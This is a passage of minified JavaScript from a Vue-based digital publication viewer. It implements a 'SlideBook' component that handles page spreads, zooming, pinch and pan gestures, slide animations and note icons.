(t){return{right:this.getPageInfo(t.rightPage,t.leftPage,1),left:this.getPageInfo(t.leftPage,t.rightPage,-1),differentPages:t.rightPage!==t.leftPage}}}},ks=ys;const xs=(0,R.Z)(ks,r,a,!1,null,null,null).exports;var $s=function(){var t=this,e=t.$createElement,i=t._self._c||e;return i("div",{staticClass:"slide-book"},[i("v-touch",t._g({ref:"holder",staticClass:"slide-holder",class:t.holderClasses,attrs:{tag:"div",id:"slide-holder"}},t.isEmbed?null:{pinchstart:t.onPinchStart,pinchmove:t.onPinchMove,pinchend:t.onPinchFinish,pinchcancel:t.onPinchFinish,panstart:t.onPanStart,panmove:t.onPanMove,panend:t.onPanEnd,pancancel:t.onPanEnd}),t._l(t.outputSlidesCache,(function(e){return i("div",{key:e.pages[0].id+"_"+e.pages[0].side,ref:"current"===e.position?"wrapper":null,refInFor:!0,class:"slide-wrapper "+e.position,style:t.slideStyles[e.position],attrs:{"data-id":e.pages[0].id+"_"+e.pages[0].side+(e.pages[1]?"-"+e.pages[1].id+"_"+e.pages[0].side:"")}},[i("v-touch",{staticClass:"spread-wrapper",style:t.spreadStyles[e.position],attrs:{tag:"div","data-zoom-wrapper":"current"===e.position||null},on:{doubletap:function(i){!t.isEmbed&&"current"===e.position&&t.onDoubleTap(i)}},nativeOn:{transitionend:function(e){return t.onTransitionEnd(e)}}},[t.selectTextEnabled&&"current"===e.position?i("select-text-panel"):t._e(),t._v(" "),t.isSpreadFillerShown?[i("div",{staticClass:"spread-filler"},t._l(e.pages,(function(e){return i("div",{staticClass:"page-filler",class:e.side,style:e.style,attrs:{"data-caption":e.caption}},[i("svgicon",{attrs:{name:e.icon}}),t._v(" "),e.wide&&t.isSpreadMode?i("svgicon",{attrs:{name:e.icon}}):t._e()],1)})),0)]:t._l(e.pages,(function(s){return i("page",{key:s.id+"_"+s.side,ref:"current"===e.position?"current":null,refInFor:!0,class:"slide-page "+(t.isContentCropMode?"content-crop":s.position),attrs:{id:s.id,side:s.side,size:t.pageSizes[e.position],contentCreator:t.contentCreator,"data-id":s.id+"_"+s.side,contentCrop:t.isContentCropMode}})}))],2)],1)})),0),t._v(" "),i("transition",{attrs:{name:"note-icon-fade"}},[t.noteIconShown?i("button",{staticClass:"icon-add-note",class:t.noteIconClass,style:t.noteIconStyle,attrs:{tabindex:"0",title:t.addNoteTitleText},on:{click:function(e){return e.stopPropagation(),t.addNote(e)}}},[i("svgicon",{staticClass:"svg-icon",attrs:{focusable:"false",name:"add-note"}})],1):t._e()])],1)},zs=[];i(9719),i(1619);const Ps={"content-block":Ae,"content-link":Ue,"content-image":ti,"content-gallery":ri,"content-gif":di,"content-video":ji,"content-form":rs},Cs={name:"SlideBook",mixins:[gs,us,g.Z],props:{containerSize:{type:Object,required:!0},pageSize:{type:Object,required:!0}},components:{page:et,selectTextPanel:ls},data:()=>({status:"ready",zoomFactor:1,scaleFactor:1,slideScrollTop:0,slideScrollLeft:0,slideScrollY:0,slideScrollX:0,scaleOrigin:{x:0,y:0},delta:0,slidesCache:{},outputSlidesCache:[],horizontalScale:1,fastAnimation:!1,dragActive:!0,lastZoomFactor:null,lastWheelTime:0,propCache:{},dragging:!1,noteIconClass:["hidden"],noteIconStyle:null,isFastSliding:!1,isSpreadFillerShown:!1,pendingFastSlide:null,fastSlidingCancelTimeout:null}),beforeMount:function(){this.lastZoomFactor=this.defaultZoomFactor,this.zoomFactor=this.$store.state.pages.size.zoomFactor},mounted(){this.slidesCacheUpdate(),this.status="ready",this.pendingSlide=null,this.$root.$on("contextMenu:zoomIn",this.zoomIn),this.$root.$on("contextMenu:zoomOut",this.zoomOut),this.$root.$on("bottomMenu:zoomIn",this.zoomIn),this.$root.$on("bottomMenu:zoomOut",this.zoomOut),this.$root.$on("zoomPanel",this.changeZoom),this.$root.$on("zoomMove",this.zoomMove),this.$root.$on("wheel",this.onWheel),this.$root.$on("nav:goRight",this.goFastRight),this.$root.$on("nav:goLeft",this.goFastLeft),this.$root.$on("publication:mouseleave",this.onMouseLeave),this.updateNoteIcon(),requestAnimationFrame(this.animationLoop),this.zoomFactor>1&&this.refreshScroll()},beforeDestroy(){this.tween&&j().remove(this.tween),this.$root.$off("contextMenu:zoomIn",this.zoomIn),this.$root.$off("contextMenu:zoomOut",this.zoomOut),this.$root.$off("bottomMenu:zoomIn",this.zoomIn),this.$root.$off("bottomMenu:zoomOut",this.zoomOut),this.$root.$off("zoomPanel",this.changeZoom),this.$root.$off("zoomMove",this.zoomMove),this.$root.$off("wheel",this.onWheel),this.$root.$off("nav:goRight",this.goFastRight),this.$root.$off("nav:goLeft",this.goFastLeft),this.$root.$off("publication:mouseleave",this.onMouseLeave)},watch:{pageSize(t){const e={width:t.width*this.zoomFactor,height:t.height*this.zoomFactor,zoomFactor:this.zoomFactor};this.$store.dispatch("pages/changePageSize",e),this.slidesCacheUpdate()},isSingleMode(){this.slidesCacheUpdate()},isSlideMode(){this.slidesCacheUpdate()},isRtl(){this.slidesCacheUpdate()},zoomFactor(t,e){const i={width:this.pageSize.width*t,height:this.pageSize.height*t,zoomFactor:t};if(this.$store.dispatch("pages/changePageSize",i),t>1&&1===e){const t=[...this.slidesCache.current.map((t=>t.id))].filter((t=>null!==t)).some((t=>this.$store.getters["pages/pageProp"](t,"textBlocks")),this);this.selectTextEnabled&&t&&this.showSelectTextTip()}this.refreshScroll()},status(t){"sliding"===t?this.$store.dispatch("pager/isPageChanging",!0):this.$store.state.pager.isMoveWatcherActive||this.$store.dispatch("pager/isPageChanging",!1),this.refreshScroll(),this.$store.dispatch("workspace/setStatus",t);const e=["sliding","pan"].indexOf(status)>=0?"inProgress":"pending";this.$store.dispatch("pager/setFlipState",{newState:e}),"ready"!==t||this.isFastSliding?this.$store.dispatch("workspace/setAnimationProgress",{animationType:"pagerMove"}):this.$store.dispatch("workspace/unsetAnimationProgress"),this.updateNoteIcon()},slides(t,e){if(this.scrollLock)return void(this.scrollLock=!1);const i=e.current[0].state,s=t.current[0].state;if(i.mode!==s.mode)return;this.isSlideMode||this.isSingleMode||this.updateHorizontalScale(t.current,e.current);const o=this.$store.getters["pager/getDeltaTurns"](i,s),r=Math.abs(o)>1;s.zoomMode===i.zoomMode||o?!this.isRtl&&o>0||this.isRtl&&o<0?(r&&this.replaceCachedSlide("right",t.current),this.isZoomed?(this.pendingSlide="right",this.zoomOut()):this.$nextTick((()=>{this.animateSlides("right",!1,!0)}))):(!this.isRtl&&o<0||this.isRtl&&o>0)&&(r&&this.replaceCachedSlide("left",t.current),this.isZoomed?(this.pendingSlide="left",this.zoomOut()):this.$nextTick((()=>{this.animateSlides("left",!1,!0)}))):s.zoomMode?this.zoomIn():this.zoomOut()},workspaceSize(t,e){if(this.isMobile&&e.width&&e.height&&(t.width!==e.width||t.height!==e.height))this.zoomOut(!0);else if(1!==this.zoomFactor){let e;e=this.isInitialZoom?{x:this.isRTLBook?this.spreadSizes.current.width:0,y:0}:{x:t.width/2,y:t.height/2};const i={x:e.x-this.spreadSizes.current.left,y:e.y-this.spreadSizes.current.top};let s;this.scaleFactor=1,s=this.isInitialZoom?ms(this.containerSize,this.spreadSizes.current,this.scaleFactor,i):fs(this.spreadSizes.current,this.scaleFactor,i),s=bs(s,this.containerSize),this.scaleOrigin=Ss(this.spreadSizes.current,s,this.scaleFactor),this.slideScrollLeft=s.left,this.slideScrollTop=s.top,this.isInitialZoom&&(this.$store.dispatch("workspace/clearInitialZoom"),this.refreshScroll())}},containerSize(){1===this.zoomFactor||this.isMobile||this.refreshScroll()},pageSizes(t){const e=this.slidesCache;Object.keys(e).forEach((i=>{for(let s=0;s<e[i].length;s++){const o=e[i][s].id,r=this.getPageProp(o,"wide"),a=t[i].width*(this.isSingleMode&&r?2:1),n=t[i].height,h=r&&"current"!==i&&o===e.current[0].id;if(this.zoomFactor>1&&"current"!==i||this.isSingleMode&&h)return;this.$store.dispatch("pages/setCurrentSize",{pageID:o,value:{width:a,height:n}})}}))},spreadSizes(t){this.$store.dispatch("workspace/setHolderSize",t.current),this.updateNoteIcon()},isLocaleRtl(){this.updateNoteIcon()},notesEnabled(){this.updateNoteIcon()},dragActive(t){t?this.$refs.holder.$el.classList.remove("nodrag"):this.$refs.holder.$el.classList.add("nodrag")},isMini(){this.zoomOut(!0),this.updateNoteIcon()},orientationChanged(t,e){e&&this.zoomOut(!0)}},computed:{isRTLBook:function(){return this.$store.state.book.rightToLeft},isFirstPage(){return this.$store.getters["pager/isFirstSpread"]},isLastPage(){return this.$store.getters["pager/isLastSpread"]},isRightmostPage(){return this.isFirstPage&&this.isRtl||this.isLastPage&&!this.isRtl},isLeftmostPage(){return this.isLastPage&&this.isRtl||this.isFirstPage&&!this.isRtl},isRtl(){return this.$store.state.book.rightToLeft},isLocaleRtl:function(){return this.$store.getters["i18n/isLocaleRtl"]},isMobile(){return this.$store.getters["workspace/isMobile"]},isSingleMode(){return this.$store.state.pager.singleMode},isSpreadMode(){return this.$store.state.pager.spreadMode},isSlideMode(){return this.$store.state.pager.slideMode},isContentCropMode(){return this.isSlideMode&&this.$store.state.book.contentCrop},isZoomed(){return 1!==this.zoomFactor},isInitialZoom(){return this.$store.state.workspace.initialZoom},zoomPanel(){return this.$store.state.workspace.zoomPanel},slides(){const t={},e=this.isRtl?"right":"left",i=this.isRtl?"left":"right",s=this.$store.getters["pager/state"],o=this.$store.getters["pager/nextState"],r=this.$store.getters["pager/prevState"],a=this.$store.getters["pager/secondNextState"],n=this.$store.getters["pager/secondPrevState"],h=this.isRtl?o:r,l=this.isRtl?r:o,c=this.isRtl?a:n,d=this.isRtl?n:a,p=(e,i,o,r,a,n)=>{if(n||(t[e]=[]),!i)return;let h=this.$store.getters["pages/pageIndexById"](i);r&&o===(this.isRtl?"left":"right")&&h++;const l=this.$store.getters["pages/pageCaptionByIndex"](h),c=this.$store.getters["pages/pageProp"](i,"backgroundColor"),d=this.isSlideMode&&r?"page-wide":"page",p={backgroundColor:c};this.isFastSliding&&(p["font-size"]=Math.min(Math.floor(this.containerSize.height/20),20)+"px"),t[e].push({id:i,side:o,caption:l,icon:d,style:p,wide:r,position:a,state:s})};if(s.singleMode)p("current",s.currentPage,s.pageSide,s.wide,""),h&&p("left",h.currentPage,h.pageSide,h.wide,""),l&&p("right",l.currentPage,l.pageSide,l.wide,""),c&&p("second-left",c.currentPage,c.pageSide,c.wide,""),d&&p("second-right",d.currentPage,d.pageSide,d.wide,"");else if(s.slideMode){if(t.current=[],s.currentPage){const t=s.wide?"both":e;p("current",s.currentPage,t,s.wide,e)}if(h){const t=h.wide?"both":e;p("left",h.currentPage,t,h.wide,e)}if(l){const t=l.wide?"both":e;p("right",l.currentPage,t,l.wide,e)}if(c){const t=c.wide?"both":e;p("second-left",c.currentPage,t,c.wide,e)}if(d){const t=d.wide?"both":e;p("second-right",d.currentPage,t,d.wide,e)}}else if(s.spreadMode){const t=(t,s)=>{const o=this.getPageProp(s.leftPage,"wide"),r=o?"both":e;if(p(t,s.leftPage,r,o,e),s.rightPage&&s.leftPage!==s.rightPage){const e=o?"both":i;p(t,s.rightPage,e,o,i,!0)}};t("current",s),h&&t("left",h),l&&t("right",l),c&&t("second-left",c),d&&t("second-right",d)}return t},fitPageSize(){return(0,ae.Tj)(this.pageSize,this.containerSize)},fitDoublePageSize(){return(0,ae.Tj)({width:2*this.pageSize.width,height:this.pageSize.height},this.containerSize)},fitSinglePageSize(){return{width:this.fitDoublePageSize.width/2,height:this.fitDoublePageSize.height,top:this.fitDoublePageSize.top,left:(this.containerSize.width-this.fitDoublePageSize.width/2)/2}},pageSizes(){const t={},e=this.fitPageSize,i=this.fitDoublePageSize,s=this.fitSinglePageSize;for(const o in this.slidesCache){if(!this.slidesCache.hasOwnProperty(o))return;const r="current"===o?this.zoomFactor:1;if(this.isSingleMode)t[o]={width:Math.round(e.width*r),height:Math.round(e.height*r)};else if(this.isContentCropMode){const e=this.getContentSize(this.slidesCache[o][0].id);t[o]={width:Math.round(e.width*r),height:Math.round(e.height*r),left:e.left,top:e.top}}else{const e=this.slidesCache[o][0].wide;t[o]={width:Math.round((e?i.width:s.width)*r),height:Math.round((e?i.height:s.height)*r)}}}return t},spreadSizes(){const t={};for(const e in this.slidesCache){if(!this.slidesCache.hasOwnProperty(e))return;if(t[e]={width:this.pageSizes[e].width*this.slidesCache[e].length,height:this.pageSizes[e].height},this.isZoomed&&"current"===e)t[e].left=this.slideScrollLeft,t[e].top=this.slideScrollTop;else if(this.isSingleMode)t[e].left=this.fitPageSize.left,t[e].top=this.fitPageSize.top;else if(this.isContentCropMode)t[e].left=this.pageSizes[e].left,t[e].top=this.pageSizes[e].top;else{const i=2===this.slidesCache[e].length||this.slidesCache[e][0].wide;t[e].left=i?this.fitDoublePageSize.left:this.fitSinglePageSize.left,t[e].top=i?this.fitDoublePageSize.top:this.fitSinglePageSize.top}}return t},holderClasses(){return{zoomed:this.isZoomed,"drag-active":this.dragging,single:this.isSingleMode}},spreadStyles(){const t={};return t.current={width:this.spreadSizes.current.width+"px",height:this.spreadSizes.current.height+"px",left:this.isZoomed?this.containerSize.width>=this.spreadSizes.current.width?Math.round((this.containerSize.width-this.spreadSizes.current.width)/2)+"px":0:Math.round(this.spreadSizes.current.left)+"px",top:this.isZoomed?this.containerSize.height>=this.spreadSizes.current.height?Math.round((this.containerSize.height-this.spreadSizes.current.height)/2)+"px":0:Math.round(this.spreadSizes.current.top)+"px",transformOrigin:Math.round(this.scaleOrigin.x)+"px "+Math.round(this.scaleOrigin.y)+"px",transition:"animating"===this.status?["-webkit-transform "+(this.fastAnimation?1:this.zoomAnimationSpeed)+"ms cubic-bezier(0.215, 0.61, 0.355, 1)","transform "+(this.fastAnimation?1:this.zoomAnimationSpeed)+"ms cubic-bezier(0.215, 0.61, 0.355, 1)"]:["-webkit-transform 0ms","transform 0ms"]},"pinch"!==this.status&&"scale"!==this.status&&"animating"!==this.status?t.current.transform="":0!==this.slideScrollTop||0!==this.slideScrollLeft?t.current.transform="translate3d("+(this.containerSize.width<this.spreadSizes.current.width?Math.round(this.slideScrollLeft):0)+"px,"+(this.containerSize.height<this.spreadSizes.current.height?Math.round(this.slideScrollTop):0)+"px, 0) scale("+this.scaleFactor.toFixed(2)+")":t.current.transform="scale("+this.scaleFactor.toFixed(2)+")",this.slidesCache.left&&(t.left={width:this.spreadSizes.left.width+"px",height:this.spreadSizes.left.height+"px",left:Math.round(this.spreadSizes.left.left)+"px",top:Math.round(this.spreadSizes.left.top)+"px"}),this.slidesCache.right&&(t.right={width:this.spreadSizes.right.width+"px",height:this.spreadSizes.right.height+"px",left:Math.round(this.spreadSizes.right.left)+"px",top:Math.round(this.spreadSizes.right.top)+"px"}),this.slidesCache["second-left"]&&(t["second-left"]={width:this.spreadSizes["second-left"].width+"px",height:this.spreadSizes["second-left"].height+"px",left:Math.round(this.spreadSizes["second-left"].left)+"px",top:Math.round(this.spreadSizes["second-left"].top)+"px"}),this.slidesCache["second-right"]&&(t["second-right"]={width:this.spreadSizes["second-right"].width+"px",height:this.spreadSizes["second-right"].height+"px",left:Math.round(this.spreadSizes["second-right"].left)+"px",top:Math.round(this.spreadSizes["second-right"].top)+"px"}),t},slideStyles(){const t={};return t.current={transform:"translate3d("+Math.round(this.slideOffsets.current)+"px, 0, 0)"},this.slidesCache.left&&(t.left={transform:"translate3d("+Math.round(this.slideOffsets.left)+"px, 0, 0)"}),this.slidesCache.right&&(t.right={transform:"translate3d("+Math.round(this.slideOffsets.right)+"px, 0, 0)"}),this.slidesCache["second-left"]&&(t["second-left"]={transform:"translate3d("+Math.round(-this.maxDelta)+"px, 0, 0)",display:"none"}),this.slidesCache["second-right"]&&(t["second-right"]={transform:"translate3d("+Math.round(this.maxDelta)+"px, 0, 0)",display:"none"}),t},slideOffsets(){return{current:this.delta,left:-this.maxDelta+this.delta,right:this.maxDelta+this.delta}},maxDelta(){return parseInt(this.containerSize.width,10)},minZoom(){return Math.min(this.$store.state.workspace.containerSize.height/(this.$store.state.pages.size.height/this.$store.state.pages.size.zoomFactor),this.$store.state.workspace.containerSize.width/(2*this.$store.state.pages.size.width/this.$store.state.pages.size.zoomFactor))},maxZoom(){return this.$store.state.workspace.maxZoom},zoomAnimationSpeed(){return this.scaleFactor<1?400:600},slideAnimationSpeed:()=>400,slideEasing:()=>j().Easing.Sinusoidal.Out,isWorkspaceFrozen(){return this.$store.state.workspace.freezed},isPagerFrozen(){return this.$store.getters["pager/isFrozen"]},workspaceSize(){return this.$store.state.workspace.size},isMobileApp(){return"mobile-app"===this.$store.getters["info/version"]},isMini(){return this.$store.state.workspace.mini},isEmbed(){return this.$store.state.workspace.isEmbed},isMovingNote(){return this.$store.state.notes.isMoving},blockPan(){return this.isWorkspaceFrozen||this.isZoomed||this.isMovingNote},selectTextEnabled(){return!this.isMobile&&this.$store.state.workspace.components.textSelection},isSafari(){return!!this.$store.state.workspace.userAgentInfo.browser.safari},wheelScroll(){return this.$store.state.workspace.wheelScroll},notesEnabled(){return this.$store.state.workspace.components.notes},addNoteTitleText:function(){return this.$t("NotesToolWindow.ADD_NOTE")},noteIconShown(){return this.notesEnabled&&!this.isMobile&&!this.isMini&&!this.isZoomed&&"ready"===this.status&&this.spreadSizes.current},orientationChanged(){return this.$store.getters["workspace/orientation"]}},methods:{animationLoop(t){this._isDestroyed||(j().update(t),requestAnimationFrame(this.animationLoop))},getContentSize(t){const e=this.getPageProp(t,"width"),i=this.getPageProp(t,"height");return(0,ae.Tj)({width:e,height:i},this.containerSize)},getPageProp(t,e){if(!(0,y.o8)(this.propCache[t])&&!(0,y.o8)(this.propCache[t][e]))return this.propCache[t][e];(0,y.o8)(this.propCache[t])&&(this.propCache[t]={});const i=this.$store.getters["pages/pageProp"](t,e);return this.propCache[t][e]=i,i},zoomMove(t){if(!t||!t.direction)return;if("ready"!==this.status)return void("drag"===t.direction&&(this.dragActive=t.active));let e;switch(t.direction){case"left":case"right":e=this.getScrollAmount(t,this.scrollComponent.x,0,this.containerSize,this.spreadSizes.current),this.scrollComponent.scrollBy(e,0);break;case"up":case"down":e=this.getScrollAmount(t,0,this.scrollComponent.y,this.containerSize,this.spreadSizes.current),this.scrollComponent.scrollBy(0,e);break;case"drag":this.dragActive=t.active,this.initScrollComponent(this.dragActive)}this.scrollComponent&&(this.holderScrollX=this.scrollComponent.x,this.holderScrollY=this.scrollComponent.y,this.$store.dispatch("text/setHolderScroll",{x:this.holderScrollX,y:this.holderScrollY}))},onDoubleTap(t){this.onTap("tap",t)},onTap(t,e){if(t&&this.$store.dispatch("pager/setLastTarget",t),this.isWorkspaceFrozen||"ready"!==this.status||this.isMini)return;if(e?.target?.classList?.contains("note-article"))return;e||(e={center:{x:this.isRTLBook?this.workspaceSize.width:0,y:0},target:null});let i,s=!1;const o=this.getTappedZoomBlock(e);if(this.isMobile&&o.id){s=this.lastZoomBlockID!==o.id;const t=this.$refs.current[0].$el.getBoundingClientRect();i=this.getBlockRect(o.rect,t)}if(this.lastZoomBlockID=s?o.id:null,s){const t=1.5,e=40;let s=2,o=this.containerSize.width-e*s,r=1*(.96*o/i.width).toFixed(2);const a=this.spreadSizes.current.width-i.width-i.left;(i.left*r<e||a*r<e)&&(s=1,o=this.containerSize.width-e*s,r=1*(.96*o/i.width).toFixed(2)),this.updateSlideScroll(),this.scaleFactor=this.checkScaleFactorForZoom(r,this.zoomFactor,this.maxZoom),this.scaleFactor*this.zoomFactor<t&&(this.scaleFactor=t/this.zoomFactor)}else{const t=!(this.isFirstPage||this.isLastPage||!this.slidesCache.current[0].wide&&1===this.slidesCache.current.length)||this.isSingleMode||this.isContentCropMode?1:2,e=this.containerSize.width/this.spreadSizes.current.width*t*this.horizontalScale;this.scaleFactor=1!==this.zoomFactor||this.zoomPanel?Math.min(e,this.containerSize.height/this.spreadSizes.current.height):this.lastZoomFactor,this.horizontalScale=1}let r=fs(this.spreadSizes.current,this.scaleFactor,{x:e.center.x-this.spreadSizes.current.left,y:e.center.y-this.spreadSizes.current.top});if(s){const t=i.left*this.scaleFactor,e=i.width*this.scaleFactor;r.left=-t+(this.containerSize.width-e)/2}r=bs(r,this.containerSize),this.scaleOrigin=Ss(this.spreadSizes.current,r,this.scaleFactor),this.newBounds=r,this.status="animating",this.refreshScroll(),this.scaleFactor>1?this.$root.$emit("zoomed"):(this.scaleFactor<1||this.zoomPanel&&1===this.scaleFactor)&&this.$root.$emit("unzoomed")},setZoom(t,e){if(this.isWorkspaceFrozen||"ready"!==this.status)return;this.scaleFactor=t/this.zoomFactor,this.updateSlideScroll(!1);const i=e||{x:this.workspaceSize.width/2,y:this.workspaceSize.height/2},s={x:i.x-this.spreadSizes.current.left,y:i.y-this.spreadSizes.current.top};let o=fs(this.spreadSizes.current,this.scaleFactor,s);o=bs(o,this.containerSize),this.scaleOrigin=Ss(this.spreadSizes.current,o,this.scaleFactor),this.newBounds=o,this.fastAnimation=!0,this.status="animating",this.refreshScroll()},setScaleStart(){this.minScale=Math.min(this.containerSize.width/this.spreadSizes.current.width,this.containerSize.height/this.spreadSizes.current.height),this.maxScale=this.maxZoom/this.zoomFactor,this.scaleFactor=1,this.updateSlideScroll(!1),this.scaleOrigin={x:this.workspaceSize.width/2-this.slideScrollLeft,y:this.workspaceSize.height/2-this.slideScrollTop},this.status="scale"},setScale(t){if("scale"!==this.status)return;const e=this.minScale+(this.maxScale-this.minScale)*t;let i=fs(this.spreadSizes.current,e,{x:this.workspaceSize.width/2-this.slideScrollLeft,y:this.workspaceSize.height/2-this.slideScrollTop});i=bs(i,this.containerSize),this.scaleOrigin=Ss(this.spreadSizes.current,i,e);const s=Math.min(this.maxScale,Math.max(this.minScale,e));this.scaleFactor=this.checkScaleFactorForZoom(s,this.zoomFactor,this.maxZoom)},setScaleFinish(){if("scale"!==this.status)return;let t=fs(this.spreadSizes.current,this.scaleFactor,this.scaleOrigin);t=bs(t,this.containerSize),this.zoomFactor=1*(this.zoomFactor*this.scaleFactor).toFixed(2),this.scaleFactor=1,this.slideScrollLeft=this.isZoomed?t.left:0,this.slideScrollTop=this.isZoomed?t.top:0,this.status="ready"},onTransitionEnd(t){t&&"transform"===t.propertyName&&("animating"===this.status&&(this.fastAnimation=!1,this.lastZoomFactor=Math.max(this.zoomFactor,this.minZoomFactor),this.zoomFactor=1*(this.zoomFactor*this.scaleFactor).toFixed(2),this.slideScrollLeft=this.isZoomed?this.newBounds.left:0,this.slideScrollTop=this.isZoomed?this.newBounds.top:0,this.status="ready"),this.pendingSlide&&(this.updatePendingSlide(),this.animateSlides(this.pendingSlide,!1,!0),this.pendingSlide=null))},onPinchStart(t){this.isWorkspaceFrozen||"ready"!==this.status||this.isMini||(this.$store.dispatch("pager/setLastTarget","pinch-zoom"),this.minScale=Math.min(this.containerSize.width/this.spreadSizes.current.width,this.containerSize.height/this.spreadSizes.current.height),this.scaleFactor=1,this.pinchCenter=t.center,this.isZoomed?(this.updateSlideScroll(!1),this.scaleOrigin={x:t.center.x-this.slideScrollLeft,y:t.center.y-this.slideScrollTop}):this.scaleOrigin={x:t.center.x-this.spreadSizes.current.left,y:t.center.y-this.spreadSizes.current.top},this.status="pinch")},onPinchMove(t){if("pinch"!==this.status)return;const e=this.minScale<t.scale?t.scale:this.minScale;if(this.scaleFactor=this.checkScaleFactorForZoom(e,this.zoomFactor,this.maxZoom),1!==this.scaleFactor){let t=fs(this.spreadSizes.current,this.scaleFactor,this.scaleOrigin);t=bs(t,this.containerSize),this.scaleOrigin=Ss(this.spreadSizes.current,t,this.scaleFactor)}},onPinchFinish(){if("pinch"!==this.status)return;let t=fs(this.spreadSizes.current,this.scaleFactor,this.scaleOrigin);t=bs(t,this.containerSize),this.zoomFactor=1*(this.zoomFactor*this.scaleFactor).toFixed(2),this.scaleFactor=1,this.slideScrollLeft=this.isZoomed?t.left:0,this.slideScrollTop=this.isZoomed?t.top:0,this.status="ready",this.scaleFactor>1?this.$root.$emit("zoomed"):this.scaleFactor<1&&this.$root.$emit("unzoomed")},changeZoom(t){switch(this.$store.dispatch("pager/setLastTarget","change-zoom"),t.action){case"setZoom":this.setZoom(t.zoomFactor);break;case"startScale":this.setScaleStart();break;case"changeScale":this.setScale(t.scalePosition);break;case"endScale":this.setScaleFinish();break;case"zoomIn":this.onTap();break;case"zoomOut":this.zoomOut()}},onPanStart(t){if(this.blockPan||this.isFastSliding||"ready"!==this.status||t.srcEvent&&(t.srcEvent.metaKey||t.srcEvent.ctrlKey))return;if(t?.target?.classList?.contains("note-article"))return;const e=document.elementFromPoint(t.center.x-t.deltaX,t.center.y-t.deltaY);e&&"select-text-block"===e.getAttribute("data-set")||(this.status="pan",this.$root.$emit("turnStart"))},onPanMove(t){if(this.blockPan||this.isFastSliding||"pan"!==this.status)return;if(t?.target?.classList?.contains("note-article"))return;let e=1;(t.deltaX<0&&this.isRightmostPage||t.deltaX>0&&this.isLeftmostPage)&&(e=.3),window.requestAnimationFrame((()=>{this.delta=t.deltaX*e}))},onPanEnd(t){if(this.blockPan||!this.isFastSliding&&"pan"!==this.status&&"sliding"!==this.status)return;if(t?.target?.classList?.contains("note-article"))return;const e=Math.abs(t.overallVelocityX).toPrecision(2),i=Math.abs(t.deltaX);let s,o=null;t.deltaX>0&&!this.isLeftmostPage&&(i>this.maxDelta/3||e>.5)?(s="left",o="left"):t.deltaX<0&&!this.isRightmostPage&&(i>this.maxDelta/3||e>.5)?(s="right",o="right"):(s="center",o=t.deltaY>0?"down":t.deltaY<0?"up":null),("sliding"===this.status||this.isFastSliding)&&(this.checkFastSlide(s,!1),this.pendingFastSlide)||("left"===s&&!this.isLeftmostPage&&(i>this.maxDelta/3||e>.5)?this.animateSlides("left"):"right"===s&&!this.isRightmostPage&&(i>this.maxDelta/3||e>.5)?this.animateSlides("right"):"sliding"!==this.status&&this.animateSlides("center"),o&&this.$root.$emit("swipe",{direction:o}))},zoomIn(t){this.zoomFactor>1||this.onTap(t)},zoomOut(t,e){if(1!==this.zoomFactor){if(this.lastZoomFactor=Math.max(this.zoomFactor,this.minZoomFactor),t)return this.status="calculating",this.zoomFactor=1,this.refreshScroll(),this.slideScrollLeft=0,this.slideScrollTop=0,this.status="ready",void this.$root.$emit("unzoomed");this.onTap(e,{center:{x:0,y:0}})}},goRight(){this.scrollLock=!0,this.movePagerRight({target:"slide-swipe"}),this.$root.$emit("render:finish")},goLeft(){this.scrollLock=!0,this.movePagerLeft({target:"slide-swipe"}),this.$root.$emit("render:finish")},goFastRight(){this.checkFastSlide("right")},goFastLeft(){this.checkFastSlide("left")},canSlideInDirection(t){return t&&("left"===t&&!this.isLeftmostPage||"right"===t&&!this.isRightmostPage)},checkFastSlide(t){let e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];this.canSlideInDirection(t)&&(this.isFastSliding&&(this.isSpreadFillerShown=!0),this.pendingFastSlide&&this.pendingFastSlide!==t&&(this.pendingFastSlide=null),"sliding"===this.status&&this.tween?._isPlaying&&this.isPagerFrozen&&(this.isFastSliding=!0,e&&this.tween.stop()),!this.pendingFastSlide&&this.isFastSliding&&this.tween?._isPlaying&&(this.tween._duration=200,this.pendingFastSlide=t),this.isFastSliding&&(clearTimeout(this.fastSlidingCancelTimeout),this.fastSlidingCancelTimeout=setTimeout((()=>{this.isFastSliding=!1,this.isSpreadFillerShown=!1,this.$store.dispatch("workspace/unsetAnimationProgress")}),400)))},animateSlides(t){let e=arguments.length>1&&void 0!==arguments[1]&&arguments[1],i=arguments.length>2&&void 0!==arguments[2]&&arguments[2];const s={x:this.delta};let o;switch(t){case"left":o={x:this.maxDelta};break;case"right":o={x:-this.maxDelta};break;case"center":o={x:0}}i&&this.$root.$emit("turnStart"),this.status="sliding",this.$store.dispatch("pager/freeze",{target:"slide-book"}),this.tween=new(j().Tween)(s).to(o,e||this.isFastSliding?200:this.slideAnimationSpeed).easing(this.slideEasing).onUpdate((t=>{this.delta=t.x})).onComplete((()=>{this.$root.$emit("turnStop"),this.$store.dispatch("pager/unfreeze",{target:"slide-book"}),i?this.$root.$emit("render:finish"):"left"===t?this.goLeft():"right"===t&&this.goRight(),this.slidesCacheUpdate(),this.status="ready","center"!==t&&this.$root.$emit("turned"),this.pendingFastSlide&&this.canSlideInDirection(this.pendingFastSlide)&&(this.animateSlides(this.pendingFastSlide),this.pendingFastSlide=null)})).onStop((()=>{this.slidesCacheUpdate(),this.$store.dispatch("pager/unfreeze",{target:"slide-book"})})).start()},updateHorizontalScale(t,e){let i=0;(e[0].wide||2===e.length)&&i--,(t[0].wide||2===t.length)&&i++,this.horizontalScale=i>0?2:i<0?.5:1},convertToOutputSlides(t){const e=e=>({position:e,pages:t[e]||[]});return[e("current")].concat([e("left")]).concat([e("right")]).concat([e("second-left")]).concat([e("second-right")]).filter((t=>t.pages.length>0))},getSlidesWithAllPages(t,e){const i=[].concat.apply([],t.map((t=>t.pages))),s=[].concat.apply([],e.map((t=>t.pages))).filter((t=>!i.some((e=>e.id===t.id))));t.forEach((t=>{t.pages=t.pages.filter((t=>!s.some((e=>t.id===e.id))))})),s.length>0&&s.forEach((e=>{const i={position:"hidden page_"+e.id,pages:[e]};t=t.concat([i])}));return t.sort(((t,e)=>t.pages[0].id-e.pages[0].id))},getNonHiddenSlides:t=>t.filter((t=>t.position.indexOf("hidden")<0)),updateOutputSlides(){const 